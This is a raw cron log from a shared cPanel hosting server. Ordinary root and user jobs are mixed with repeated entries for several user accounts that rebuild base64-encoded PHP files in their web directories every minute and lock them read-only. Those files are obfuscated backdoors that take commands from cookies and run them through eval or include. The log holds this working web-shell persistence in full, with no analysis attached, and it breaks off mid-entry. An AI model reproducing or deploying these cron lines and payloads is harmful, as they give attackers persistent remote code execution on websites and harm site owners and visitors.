Mar  1 20:38:01 medusa CROND[18207]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:38:01 medusa CROND[18208]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 20:38:01 medusa CROND[18209]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:38:01 medusa CROND[18213]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:38:01 medusa CROND[18221]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:39:01 medusa CROND[29562]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 20:39:01 medusa CROND[29616]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:39:01 medusa CROND[29917]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:39:01 medusa CROND[29918]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:39:01 medusa CROND[29919]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:39:01 medusa CROND[29920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:39:01 medusa CROND[29921]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:39:01 medusa CROND[29923]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 20:39:01 medusa CROND[29924]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:39:01 medusa CROND[29925]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 20:39:01 medusa CROND[29936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:39:01 medusa CROND[29941]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:39:01 medusa CROND[29945]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:39:01 medusa CROND[29946]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:40:01 medusa CROND[14587]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 20:40:02 medusa CROND[14894]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:40:02 medusa CROND[14896]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:40:02 medusa CROND[14897]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 20:40:02 medusa CROND[14898]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 20:40:02 medusa CROND[14902]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 20:40:02 medusa CROND[14908]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:40:02 medusa CROND[14907]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 20:40:02 medusa CROND[14913]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:40:02 medusa CROND[14914]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 20:40:02 medusa CROND[14910]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 20:40:02 medusa CROND[14919]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 20:40:02 medusa CROND[14918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 20:40:02 medusa CROND[14927]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:40:02 medusa CROND[14920]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 20:40:02 medusa CROND[14911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 20:40:02 medusa CROND[14924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:40:02 medusa CROND[14949]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 20:40:02 medusa CROND[14950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:40:02 medusa CROND[14951]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 20:40:02 medusa CROND[14955]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:40:02 medusa CROND[14946]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 20:40:02 medusa CROND[14963]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:40:02 medusa CROND[14956]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoM